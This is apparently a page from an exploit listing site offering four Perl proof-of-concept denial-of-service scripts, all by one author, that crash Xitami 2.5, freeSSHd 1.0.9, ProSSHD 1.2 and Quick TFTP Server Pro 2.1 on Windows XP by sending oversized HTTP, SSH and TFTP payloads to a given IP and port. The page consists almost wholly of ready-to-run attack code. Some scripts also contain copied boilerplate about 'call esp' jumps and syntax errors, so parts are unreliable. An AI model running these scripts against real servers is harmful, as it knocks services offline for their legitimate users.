Latest exploits :: CodePwn

<pre><code>#!/usr/bin/perl use IO::Socket::INET; # Exploit Title: Xitami 2.5 - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 14 january 2024 # Vendor Homepage: https://imatix-legacy.github.io/xitami.com/ # Download to demo: https://drive.google.com/file/d/1Uw9fCQ9T3IBqn53pS2lETUCM6zzYDSb8/view?usp=sharing # Notification vendor: No reported # Tested Version: Xitami 2.5 # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) # Vídeo: https://www.youtube.com/watch?v=tutFcL3Gh8I #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The server did not properly handle request with large amounts of data to webserver. #The following request sends a large amount of data to the webserver to process, the server will crash as soon as it is received and processed, causing denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "\t ==> Connecting to webserver... \n\n"; sleep(1); $exploit = "A"*939; if ($socket = IO::Socket::INET->new (PeerAddr => $ip, PeerPort => $port, Proto => "TCP")) { $header = "GET / HTTP/1.1\r\n". "Host: ".$target." \r\n". "If-Modified-Since: AAAAAAAAAAAAA "." $exploit\r\n"; print $socket $header."\r\n"; sleep(1); close($socket); } else { print "[-] Connection to $target failed!\n"; } print "\t ==> Done! Exploited!"; sub intro { print q { _________ | | | Exploit |==( ) ////// |_________| ||| | o o| ||| ( c ) ____ ||| \= / || \_ |||||| || | |||||| ...||__/|-" |||||| __|________|__ ||| |______________| ||| || || || || ||| || || || || ------------|||-------------||-||------||-||------- |__> || || || || [+] Xitami 2.5 - Denial of Service (DoS) [*] Coded by Fernando Mengali [@] e-mail: fernando.mengalli@gmail.com } } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print "\n\tUsage: $0 <ip> <port> \n"; exit(-1); } } </code></pre>

<pre><code>#!/usr/bin/perl use IO::Socket; # Exploit Title: freeSSHd 1.0.9 - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 13 january 2024 # Vendor Homepage: N/A # Download to demo: # Notification vendor: No reported # Tested Version: freeSSHd 1.0.9 - Denial of Service (DoS) # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) # Vídeo: #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The SSH does not correctly handle the amount of data or bytes sent. #When authenticating to the SSH with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "[+] Exploiting... \n"; my $bufff = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"x18; my $payload = "\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" . "\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde".("A" x 1067); $payload .= $payload; $payload .= "C" x 19021 . "\r\n"; my $i=0; while ($i<=18) { my $sock = IO::Socket::INET->new( PeerAddr => $ip, PeerPort => $port, Proto => 'tcp' ) or die "Cannot connect!\n"; if (<$sock> eq '') { print "[+] Done - Exploited success!!!!!\n\n"; exit; } $sock->send($payload) or die "Exploited successuful!!!"; $i++; } sub intro { print q { _/| // o\ || ._) //__\ )___( [+] freeSSHd 1.0.9 - Denied of Service (DoS) [*] Coded by Fernando Mengali [@] e-mail: fernando.mengalli@gmail.com } } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print " \nUsage: $0 <ip> <port> \n"; exit(-1); } } </code></pre>

<pre><code>#!/usr/bin/perl use Net::SSH2 # Exploit Title: ProSSHD 1.2 20090726 - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 13 january 2024 # Vendor Homepage: https://prosshd.com/ # Notification vendor: No reported # Tested Version: ProSSHD 1.2 20090726 # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The server did not properly handle request with large amounts of data to SSH. #The following request sends a large amount of data to the SSH to process, the server will crash as soon as it is received and processed, causing denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else {s $cmd="clear"; } system("$cmd"); intro(); main(); print "\t ==> Connecting to webserver... \n\n"; sleep(1); my $i=0; print "\t ==> Exploiting... \n\n"; my $payload = "\x41" x 500; $connection2 = Net::SSH2->new(); $connection2->connect($host, $port) || die "\nError: Connection Refused!\n"; $connection2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n"; $scpget = $connection2->scp_get($payload); $connection2->disconnect(); print "\t ==> Done! Exploited!"; sub intro { print q { ,--, _ ___/ /\| ,;'( )__, ) ~ // // '--; ' \ | ^ ^ ^ [+] ProSSHD 1.2 20090726 - Denial of Service (DoS) [*] Coded by Fernando Mengali [@] e-mail: fernando.mengalli@gmail.com } } sub main { our ($ip, $port, $username, $password) = @ARGV; unless (defined($ip) && defined($port)) { print "\n\tUsage: $0 <ip> <port> <username> <password> \n"; exit(-1); } } #3. Solution/ How to fix: # This version product is deprecated </code></pre>

<pre><code>#!/usr/bin/perl use IO::Socket::INET; # Exploit Title: Quick TFTP Server Pro 2.1 - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 12 january 2024 # Vendor Homepage: https://www.tallsoft.com/ # Download to demo: https://drive.google.com/file/d/1Q4tIYjtv9Aqe5VE1fwnT18d3Cc-xkYEX/view?usp=sharing # Notification vendor: No reported # Tested Version: Quick TFTP Server Pro 2.1 # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) # Vídeo: https://www.youtube.com/watch?v=yz7_ImFYueA #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The server did not properly handle request with large amounts of data to TFTP. #The following request sends a large amount of data to the TFTP to process, the server will crash as soon as it is received and processed, causing denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "\t ==> Connecting to webserver... \n\n"; sleep(1); my $filename = "exploit"; $shell = "A"x317; my $mode = "A" x 1360; my $muha = "\x00\x02" .$filename . "\x00" .$mode; socket(SOCKET, PF_INET, SOCK_DGRAM, getprotobyname('udp')) or die "socket() failed: $!"; send(SOCKET, $muha, 0, sockaddr_in($port, inet_aton($ip))) or die "send() failed: $!"; print "\t ==> Done! Exploited!"; sub intro { print q { _________ | | | Exploit |==( ) ////// |_________| ||| | o o| ||| ( c ) ____ ||| \= / || \_ |||||| || | |||||| ...||__/|-" |||||| __|________|__ ||| |______________| ||| || || || || ||| || || || || ------------|||-------------||-||------||-||------- |__> || || || || [+] Quick TFTP Server Pro 2.1 - Denial of Service (DoS) [*] Coded by Fernando Mengali [@] e-mail: fernando.mengalli@gmail.com } } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print "\n\tUsage: $0 <ip> <port> \n"; exit(-1); } } #3. Solution/ How to fix: # This version product is deprecated </code></pre>